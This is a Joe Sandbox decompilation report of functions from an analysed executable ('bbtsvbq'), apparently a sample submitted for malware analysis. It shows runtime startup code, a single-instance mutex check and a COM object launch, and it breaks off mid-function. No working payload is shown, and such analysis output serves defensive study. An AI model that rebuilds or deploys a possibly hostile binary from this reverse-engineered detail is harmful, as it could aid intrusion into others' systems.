Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B1411, Relevance: 3.0, APIs: 2, Instructions: 11

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E013B1411() {
				void* _t1;
				long _t3;
				void* _t5;
				void* _t6;
				void* _t7;

				_t1 = CreateMutexA(0, 1, ??); // executed
				if(_t1 != 0) {
					_t3 = GetLastError();
					_t9 = _t3 - 0xb7;
					if(_t3 != 0xb7) {
						E013B135E(_t5, _t6, _t7, _t9); // executed
					}
				}
				return 0;
			}

0x013b1415
0x013b141d
0x013b141f
0x013b1425
0x013b142a
0x013b142c
0x013b142c
0x013b142a
0x013b1433

APIs

CreateMutexA.KERNELBASE(00000000,00000001), ref: 013B1415
GetLastError.KERNEL32 ref: 013B141F

Part of subcall function 013B135E: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000008), ref: 013B13DB

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B18D8, Relevance: 1.6, APIs: 1, Instructions: 101

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E013B18D8(void* __ecx, intOrPtr __edx, intOrPtr __edi, void* __eflags) {
				void* _t10;
				intOrPtr _t12;
				char _t21;
				char _t27;
				intOrPtr _t29;
				void* _t31;
				char _t34;
				void* _t35;
				intOrPtr* _t39;
				void* _t43;
				intOrPtr _t47;
				intOrPtr* _t49;
				intOrPtr* _t50;
				void* _t51;
				intOrPtr* _t52;
				void* _t53;

				_t47 = __edi;
				_t46 = __edx;
				_t35 = __ecx;
				E013B1FF0(0x13d8080, 0x14);
				_t10 = E013B15F1(_t35, __edx, 1); // executed
				if(_t10 != 0) {
					L2:
					_t34 = 0;
					 *((char*)(_t53 - 0x19)) = 0;
					 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
					 *((char*)(_t53 - 0x24)) = E013B15BC();
					_t12 =  *0x13d98a0; // 0x2
					if(_t12 == 1) {
						goto L1;
					}
					if(_t12 != 0) {
						_t34 = 1;
						 *((char*)(_t53 - 0x19)) = 1;
						L8:
						E013B174B( *((intOrPtr*)(_t53 - 0x24)));
						_pop(_t39);
						_t49 = E013B214C();
						__eflags =  *_t49;
						if(__eflags != 0) {
							_t29 = E013B16C1(__eflags);
							_t39 = _t49;
							__eflags = _t29;
							if(_t29 != 0) {
								_t52 =  *_t49;
								_t39 = _t52;
								L013B1D10();
								 *_t52(0, 2, 0);
							}
						}
						_t50 = E013B2152();
						__eflags =  *_t50;
						if(__eflags != 0) {
							_t27 = E013B16C1(__eflags);
							_t39 = _t50;
							__eflags = _t27;
							if(_t27 != 0) {
								_push( *_t50);
								E013B4E62(_t34, _t46, 0, _t50);
								_pop(_t39);
							}
						}
						_push(E013B1C88() & 0x0000ffff);
						_push(E013B596F(_t39));
						_push(0);
						_push(0x13b0000);
						_t51 = E013B140C();
						_t21 = E013B4D71();
						__eflags = _t21;
						if(_t21 == 0) {
							E013B4E9A(_t51);
						}
						__eflags = _t34;
						if(_t34 == 0) {
							E013B4E3D();
						}
						E013B1768(_t39, 1, 0);
						 *(_t53 - 4) = 0xfffffffe;
						L19:
						return E013B2036();
					}
					 *0x13d98a0 = 1;
					_t31 = E013B5A1E(1, 0x13be140, 0x13be15c); // executed
					_pop(_t43);
					if(_t31 == 0) {
						E013B59C2(_t43, 0x13be130, 0x13be13c); // executed
						 *0x13d98a0 = 2;
						goto L8;
					} else {
						 *(_t53 - 4) = 0xfffffffe;
						goto L19;
					}
				}
				L1:
				E013B1B6D(_t46, _t47, 7);
				goto L2;
			}

0x013b18d8
0x013b18d8
0x013b18d8
0x013b18df
0x013b18e6
0x013b18ee
0x013b18f7
0x013b18f7
0x013b18f9
0x013b18fc
0x013b1905
0x013b1908
0x013b1912
0x00000000
0x00000000
0x013b1916
0x013b1961
0x013b1963
0x013b1966
0x013b1969
0x013b196e
0x013b1974
0x013b1978
0x013b197a
0x013b197d
0x013b1982
0x013b1983
0x013b1985
0x013b198b
0x013b198d
0x013b198f
0x013b1994
0x013b1994
0x013b1985
0x013b199b
0x013b199d
0x013b199f
0x013b19a2
0x013b19a7
0x013b19a8
0x013b19aa
0x013b19ac
0x013b19ae
0x013b19b3
0x013b19b3
0x013b19aa
0x013b19bc
0x013b19c2
0x013b19c3
0x013b19c4
0x013b19ce
0x013b19d0
0x013b19d5
0x013b19d7
0x013b19da
0x013b19da
0x013b19df
0x013b19e1
0x013b19e3
0x013b19e3
0x013b19eb
0x013b19f2
0x013b1a3a
0x013b1a3f
0x013b1a3f
0x013b1918
0x013b1928
0x013b192e
0x013b1931
0x013b194e
0x013b1955
0x00000000
0x013b1933
0x013b1933
0x00000000
0x013b193a
0x013b1931
0x013b18f0
0x013b18f2
0x00000000

APIs

Part of subcall function 013B1B6D: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1B7A
Part of subcall function 013B1B6D: IsDebuggerPresent.KERNEL32(?,?,?,00000017,?), ref: 013B1C42
Part of subcall function 013B1B6D: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 013B1C61
Part of subcall function 013B1B6D: UnhandledExceptionFilter.KERNEL32(?), ref: 013B1C6B

___scrt_get_show_window_mode.LIBCMT ref: 013B19B4

Part of subcall function 013B1C88: GetStartupInfoW.KERNEL32(?), ref: 013B1CA2

Part of subcall function 013B140C: CreateMutexA.KERNELBASE(00000000,00000001), ref: 013B1415
Part of subcall function 013B140C: GetLastError.KERNEL32 ref: 013B141F

Part of subcall function 013B4D71: GetModuleHandleW.KERNEL32(00000000,013B4C2F,013D8290,0000000C,013B4E5D,00000003,00000002,00000000,?,013B5DD1,00000003,013B6224), ref: 013B4D73

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B3534, Relevance: 1.6, APIs: 1, Instructions: 66

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E013B3534(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t28;
				signed int _t29;
				signed int _t30;
				signed int _t34;
				intOrPtr* _t35;

				_t20 = 0x13d9c58 + _a4 * 4;
				asm("lock cmpxchg [ebx], ecx");
				_t28 =  *0x13d900c; // 0x8ae99929
				_t30 = _t29 | 0xffffffff;
				_t34 = _t28 ^ 0;
				asm("ror esi, cl");
				if(_t34 == _t30) {
					L14:
					return 0;
				}
				if(_t34 == 0) {
					_t35 = _a12;
					if(_t35 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t30 ^ _t28;
							goto L14;
						}
						_t34 = GetProcAddress(_t13, _a8);
						if(_t34 == 0) {
							_t28 =  *0x13d900c; // 0x8ae99929
							goto L13;
						}
						 *_t20 = E013B150C(_t34);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E013B35D4( *_t35); // executed
						if(_t13 != 0) {
							break;
						}
						_t35 = _t35 + 4;
						if(_t35 != _a16) {
							continue;
						}
						_t28 =  *0x13d900c; // 0x8ae99929
						goto L7;
					}
					_t28 =  *0x13d900c; // 0x8ae99929
					goto L8;
				}
				L2:
				return _t34;
			}

0x013b353f
0x013b3548
0x013b354c
0x013b3552
0x013b355c
0x013b355e
0x013b3562
0x013b35cd
0x00000000
0x013b35cd
0x013b3566
0x013b356c
0x013b3572
0x013b358e
0x013b358e
0x013b3590
0x013b3592
0x013b35bd
0x013b35bf
0x013b35c7
0x013b35cb
0x00000000
0x013b35cb
0x013b359e
0x013b35a2
0x013b35b7
0x00000000
0x013b35b7
0x013b35ab
0x00000000
0x00000000
0x00000000
0x00000000
0x013b3574
0x013b3574
0x013b3576
0x013b357e
0x00000000
0x00000000
0x013b3580
0x013b3586
0x00000000
0x00000000
0x013b3588
0x00000000
0x013b3588
0x013b35af
0x00000000
0x013b35af
0x013b3568
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx,00000000,?,013B41D9,013D9CA4,00000FA0), ref: 013B3598

Part of subcall function 013B35D4: LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,013D9CA4,?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx), ref: 013B360C
Part of subcall function 013B35D4: GetLastError.KERNEL32(?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx,00000000,?,013B41D9), ref: 013B3618
Part of subcall function 013B35D4: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx), ref: 013B3626
Part of subcall function 013B35D4: FreeLibrary.KERNEL32(00000000,?,?,013B357B,?,013D9CA4,00000000,?,?,013B375A,00000008,InitializeCriticalSectionEx,013BE450,InitializeCriticalSectionEx,00000000), ref: 013B3648

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B67E7, Relevance: 1.6, APIs: 1, Instructions: 65

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E013B67E7(signed int _a4, CHAR* _a8, intOrPtr* _a12, intOrPtr _a16) {
				struct HINSTANCE__* _t13;
				signed int* _t20;
				signed int _t27;
				signed int _t28;
				signed int _t29;
				signed int _t33;
				intOrPtr* _t34;

				_t20 = 0x13da0d0 + _a4 * 4;
				_t27 =  *0x13d900c; // 0x8ae99929
				_t29 = _t28 | 0xffffffff;
				_t33 = _t27 ^  *_t20;
				asm("ror esi, cl");
				if(_t33 == _t29) {
					L14:
					return 0;
				}
				if(_t33 == 0) {
					_t34 = _a12;
					if(_t34 == _a16) {
						L7:
						_t13 = 0;
						L8:
						if(_t13 == 0) {
							L13:
							_push(0x20);
							asm("ror edi, cl");
							 *_t20 = _t29 ^ _t27;
							goto L14;
						}
						_t33 = GetProcAddress(_t13, _a8);
						if(_t33 == 0) {
							_t27 =  *0x13d900c; // 0x8ae99929
							goto L13;
						}
						 *_t20 = E013B150C(_t33);
						goto L2;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						_t13 = E013B6883( *_t34); // executed
						if(_t13 != 0) {
							break;
						}
						_t34 = _t34 + 4;
						if(_t34 != _a16) {
							continue;
						}
						_t27 =  *0x13d900c; // 0x8ae99929
						goto L7;
					}
					_t27 =  *0x13d900c; // 0x8ae99929
					goto L8;
				}
				L2:
				return _t33;
			}

0x013b67f2
0x013b67fb
0x013b6801
0x013b680b
0x013b680d
0x013b6811
0x013b687c
0x00000000
0x013b687c
0x013b6815
0x013b681b
0x013b6821
0x013b683d
0x013b683d
0x013b683f
0x013b6841
0x013b686c
0x013b686e
0x013b6876
0x013b687a
0x00000000
0x013b687a
0x013b684d
0x013b6851
0x013b6866
0x00000000
0x013b6866
0x013b685a
0x00000000
0x00000000
0x00000000
0x00000000
0x013b6823
0x013b6823
0x013b6825
0x013b682d
0x00000000
0x00000000
0x013b682f
0x013b6835
0x00000000
0x00000000
0x013b6837
0x00000000
0x013b6837
0x013b685e
0x00000000
0x013b685e
0x013b6817
0x00000000

APIs

GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364,?,013B6273,00000000), ref: 013B6847

Part of subcall function 013B6883: LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,013B10E9,00000000,00000000,?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue), ref: 013B68B5
Part of subcall function 013B6883: GetLastError.KERNEL32(?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364,?,013B6273), ref: 013B68C1
Part of subcall function 013B6883: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000), ref: 013B68CF
Part of subcall function 013B6883: FreeLibrary.KERNEL32(00000000,?,013B682A,013B10E9,00000000,00000000,00000000,?,013B6A27,00000006,FlsSetValue,013BF820,013BF828,00000000,00000364), ref: 013B68F1

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B5DD2, Relevance: 1.5, APIs: 1, Instructions: 39

C-Code - Quality: 95%

			E013B5DD2(void* __ecx, signed int _a4, signed int _a8) {
				void* _t8;
				void* _t12;
				signed int _t13;
				void* _t15;
				void* _t16;
				signed int _t17;
				void* _t19;
				signed int _t20;
				long _t21;

				_t16 = __ecx;
				_t20 = _a4;
				if(_t20 == 0) {
					L2:
					_t21 = _t20 * _a8;
					if(_t21 == 0) {
						_t21 = _t21 + 1;
					}
					while(1) {
						_t8 = RtlAllocateHeap( *0x13da2cc, 8, _t21); // executed
						if(_t8 != 0) {
							break;
						}
						__eflags = E013B5B5F();
						if(__eflags == 0) {
							L8:
							 *((intOrPtr*)(E013B49C9())) = 0xc;
							__eflags = 0;
							return 0;
						}
						_t12 = E013B49F0(_t15, _t16, _t17, _t19, __eflags, _t21);
						_pop(_t16);
						__eflags = _t12;
						if(_t12 == 0) {
							goto L8;
						}
					}
					return _t8;
				}
				_t13 = 0xffffffe0;
				_t17 = _t13 % _t20;
				if(_t13 / _t20 < _a8) {
					goto L8;
				}
				goto L2;
			}

0x013b5dd2
0x013b5dd8
0x013b5ddd
0x013b5deb
0x013b5deb
0x013b5df1
0x013b5df3
0x013b5df3
0x013b5e0a
0x013b5e13
0x013b5e1b
0x00000000
0x00000000
0x013b5dfb
0x013b5dfd
0x013b5e1f
0x013b5e24
0x013b5e2a
0x00000000
0x013b5e2a
0x013b5e00
0x013b5e05
0x013b5e06
0x013b5e08
0x00000000
0x00000000
0x013b5e08
0x00000000
0x013b5e0a
0x013b5de3
0x013b5de4
0x013b5de9
0x00000000
0x00000000
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,013B6256,00000001,00000364,?,?,?,013B49CE,013B5D84,?,?,013B1571,?), ref: 013B5E13

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B5D41, Relevance: 1.5, APIs: 1, Instructions: 32

C-Code - Quality: 94%

			E013B5D41(void* __ecx, long _a4) {
				void* _t4;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t9;
				void* _t10;
				long _t11;

				_t8 = __ecx;
				_t11 = _a4;
				if(_t11 > 0xffffffe0) {
					L7:
					 *((intOrPtr*)(E013B49C9())) = 0xc;
					__eflags = 0;
					return 0;
				}
				if(_t11 == 0) {
					_t11 = _t11 + 1;
				}
				while(1) {
					_t4 = RtlAllocateHeap( *0x13da2cc, 0, _t11); // executed
					if(_t4 != 0) {
						break;
					}
					__eflags = E013B5B5F();
					if(__eflags == 0) {
						goto L7;
					}
					_t6 = E013B49F0(_t7, _t8, _t9, _t10, __eflags, _t11);
					_pop(_t8);
					__eflags = _t6;
					if(_t6 == 0) {
						goto L7;
					}
				}
				return _t4;
			}

0x013b5d41
0x013b5d47
0x013b5d4d
0x013b5d7f
0x013b5d84
0x013b5d8a
0x00000000
0x013b5d8a
0x013b5d51
0x013b5d53
0x013b5d53
0x013b5d6a
0x013b5d73
0x013b5d7b
0x00000000
0x00000000
0x013b5d5b
0x013b5d5d
0x00000000
0x00000000
0x013b5d60
0x013b5d65
0x013b5d66
0x013b5d68
0x00000000
0x00000000
0x013b5d68
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,013B1571,?,?,013B10E9,00000001), ref: 013B5D73

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B135E, Relevance: 1.3, APIs: 1, Instructions: 68

C-Code - Quality: 88%

			E013B135E(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				intOrPtr _t26;
				char*** _t27;
				short* _t30;
				short* _t38;
				intOrPtr* _t46;
				void* _t50;
				signed int _t51;
				char** _t55;
				int _t58;
				intOrPtr _t59;
				void* _t60;
				void* _t61;
				signed int _t63;

				_t61 = __eflags;
				_t54 = __edi;
				_t50 = __edx;
				_t37 = __ebx;
				_push(8);
				E013BC38C(E013BD15B);
				 *((intOrPtr*)(_t60 - 0x10)) = E013B1545(__ebx, __edi, _t61, 0x10);
				 *(_t60 - 4) =  *(_t60 - 4) & 0x00000000;
				_t26 = E013B1160(_t25, _t61); // executed
				 *(_t60 - 4) =  *(_t60 - 4) | 0xffffffff;
				 *((intOrPtr*)(_t60 - 0x10)) = _t26;
				_t27 =  *0x13da2f4; // 0x2c3d08
				_t62 = _t27;
				if(_t27 == 0) {
					 *((intOrPtr*)(_t60 - 0x14)) = E013B1545(_t37, _t54, _t62, 4);
					 *(_t60 - 4) = 1;
					_t27 = E013B1048(_t37, _t36, _t50, _t54, _t62);
					_t9 = _t60 - 4;
					 *_t9 =  *(_t60 - 4) | 0xffffffff;
					_t63 =  *_t9;
					 *0x13da2f4 = _t27;
				}
				_t55 =  *_t27;
				_t51 = 2;
				_t58 =  &(_t55[1][1]);
				_t30 = E013B17EE(_t37,  ~(_t63 > 0) | _t58 * _t51, _t58 * _t51 >> 0x20, _t55, _t63); // executed
				_t38 = _t30;
				MultiByteToWideChar(0, 0,  *_t55, 0xffffffff, _t38, _t58);
				_t59 =  *((intOrPtr*)(_t60 - 0x10));
				_t46 =  *((intOrPtr*)(_t59 + 0xc));
				 *((intOrPtr*)( *_t46 + 0x14))(_t46, _t38, 0x13d7904, 0, 0, 0, 0, 2, 0, 0,  ~(_t63 > 0) | _t58 * _t51);
				return E013BC366( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t59 + 8)))) + 0x14))(),  *((intOrPtr*)(_t59 + 8)), 2);
			}

0x013b135e
0x013b135e
0x013b135e
0x013b135e
0x013b135e
0x013b1365
0x013b1372
0x013b1375
0x013b137b
0x013b1380
0x013b1384
0x013b1387
0x013b138c
0x013b138e
0x013b1398
0x013b139d
0x013b13a4
0x013b13a9
0x013b13a9
0x013b13a9
0x013b13ad
0x013b13ad
0x013b13b2
0x013b13b8
0x013b13bc
0x013b13c9
0x013b13d0
0x013b13db
0x013b13e1
0x013b13e8
0x013b13f8
0x013b140b

APIs

Part of subcall function 013B1160: __EH_prolog3_GS.LIBCMT ref: 013B1167
Part of subcall function 013B1160: CoInitializeEx.OLE32(00000000,00000000), ref: 013B1192
Part of subcall function 013B1160: CLSIDFromProgID.OLE32(00000000,?), ref: 013B11F6
Part of subcall function 013B1160: CoCreateInstance.OLE32(?,00000000,00000017,013D78BC,?), ref: 013B1211

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000008), ref: 013B13DB

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Non-executed Functions

Function 013B1B6D, Relevance: 6.1, APIs: 4, Instructions: 75

C-Code - Quality: 85%

			E013B1B6D(intOrPtr __edx, intOrPtr __edi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				_Unknown_base(*)()* _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t38;
				long _t48;
				signed int _t50;
				intOrPtr _t51;
				signed char _t54;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;

				_t57 = __edi;
				_t56 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				 *0x13d9be4 = 0;
				_v632 = E013B39F0(_t57,  &_v808, 0, 0x2cc);
				_v636 = _t55;
				_v640 = _t56;
				_v644 = _t51;
				_v648 = 0;
				_v652 = _t57;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t38 =  &_v0;
				_v612 = _t38;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t38 - 4));
				E013B39F0(_t57,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t48 = UnhandledExceptionFilter( &_v12);
				if(_t48 == 0) {
					_t50 =  ~(_t54 & 0x000000ff);
					asm("sbb eax, eax");
					 *0x13d9be4 =  *0x13d9be4 & _t50;
					return _t50;
				}
				return _t48;
			}

0x013b1b6d
0x013b1b6d
0x013b1b81
0x013b1b83
0x013b1b86
0x013b1b86
0x013b1b97
0x013b1ba5
0x013b1bab
0x013b1bb1
0x013b1bb7
0x013b1bbd
0x013b1bc3
0x013b1bc9
0x013b1bd0
0x013b1bd7
0x013b1bde
0x013b1be5
0x013b1bec
0x013b1bf3
0x013b1bf4
0x013b1bfd
0x013b1c03
0x013b1c06
0x013b1c0c
0x013b1c1b
0x013b1c26
0x013b1c31
0x013b1c38
0x013b1c3f
0x013b1c49
0x013b1c51
0x013b1c5a
0x013b1c5c
0x013b1c5f
0x013b1c61
0x013b1c6b
0x013b1c73
0x013b1c78
0x013b1c7a
0x013b1c7c
0x00000000
0x013b1c7c
0x013b1c87

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 013B1B7A
IsDebuggerPresent.KERNEL32(?,?,?,00000017,?), ref: 013B1C42
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 013B1C61
UnhandledExceptionFilter.KERNEL32(?), ref: 013B1C6B

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B204B, Relevance: 6.1, APIs: 4, Instructions: 53

C-Code - Quality: 100%

			E013B204B() {
				signed int _v8;
				struct _FILETIME _v16;
				signed int _v20;
				union _LARGE_INTEGER _v24;
				signed int _t21;
				signed int _t29;
				signed int _t32;
				signed int _t36;

				_v16.dwLowDateTime = _v16.dwLowDateTime & 0x00000000;
				_v16.dwHighDateTime = _v16.dwHighDateTime & 0x00000000;
				_t21 =  *0x13d900c; // 0x8ae99929
				if(_t21 == 0xbb40e64e || (0xffff0000 & _t21) == 0) {
					GetSystemTimeAsFileTime( &_v16);
					_v8 = _v16.dwHighDateTime ^ _v16.dwLowDateTime;
					_v8 = _v8 ^ GetCurrentThreadId();
					_v8 = _v8 ^ GetCurrentProcessId();
					QueryPerformanceCounter( &_v24);
					_t29 =  &_v8;
					_t36 = _v20 ^ _v24.LowPart ^ _v8 ^ _t29;
					if(_t36 != 0xbb40e64e) {
						if((0xffff0000 & _t36) == 0) {
							_t29 = (_t36 | 0x00004711) << 0x10;
							_t36 = _t36 | _t29;
						}
					} else {
						_t36 = 0xbb40e64f;
					}
					 *0x13d900c = _t36;
					 *0x13d9008 =  !_t36;
					return _t29;
				} else {
					_t32 =  !_t21;
					 *0x13d9008 = _t32;
					return _t32;
				}
			}

0x013b2051
0x013b2055
0x013b2059
0x013b206c
0x013b207f
0x013b208b
0x013b2094
0x013b209d
0x013b20a4
0x013b20ad
0x013b20b6
0x013b20ba
0x013b20c5
0x013b20ce
0x013b20d1
0x013b20d1
0x013b20bc
0x013b20bc
0x013b20bc
0x013b20d3
0x013b20db
0x00000000
0x013b2072
0x013b2072
0x013b2074
0x00000000
0x013b2074

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 013B207F
GetCurrentThreadId.KERNEL32 ref: 013B208E
GetCurrentProcessId.KERNEL32 ref: 013B2097
QueryPerformanceCounter.KERNEL32(?), ref: 013B20A4

Memory Dump Source

Source File: 00000001.00000002.973367977.013B1000.00000020.sdmp, Offset: 013B0000, based on PE: true

Associated: 00000001.00000002.973355323.013B0000.00000002.sdmp
Associated: 00000001.00000002.973381763.013BE000.00000002.sdmp
Associated: 00000001.00000002.973394414.013D9000.00000004.sdmp
Associated: 00000001.00000002.973406765.013DB000.00000008.sdmp
Associated: 00000001.00000002.973417015.013DC000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_13b0000_bbtsvbq.jbxd

Function 013B1E2D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132

C-Code - Quality: 84%

			E013B1E2D(intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _t51;
				signed int _t53;
				signed int _t56;
				signed int _t57;
				intOrPtr _t59;
				signed int _t60;
				signed int _t62;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr* _t70;
				intOrPtr _t76;
				intOrPtr _t81;
				intOrPtr* _t83;
				signed int _t84;
				signed int _t87;

				_t81 = __edx;
				 *0x13d9bec =  *0x13d9bec & 0x00000000;
				 *0x13d9010 =  *0x13d9010 | 1;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L20:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				 *0x13d9010 =  *0x13d9010 | 0x00000002;
				 *0x13d9bec = 1;
				_t83 =  &_v44;
				_push(1);
				asm("cpuid");
				_pop(_t67);
				 *_t83 = 0;
				 *((intOrPtr*)(_t83 + 4)) = 1;
				 *((intOrPtr*)(_t83 + 8)) = 0;
				 *((intOrPtr*)(_t83 + 0xc)) = _t81;
				_v12 = _v44;
				_t51 = 1;
				_t76 = 0;
				_push(1);
				asm("cpuid");
				_pop(_t68);
				 *_t83 = _t51;
				 *((intOrPtr*)(_t83 + 4)) = _t67;
				 *((intOrPtr*)(_t83 + 8)) = _t76;
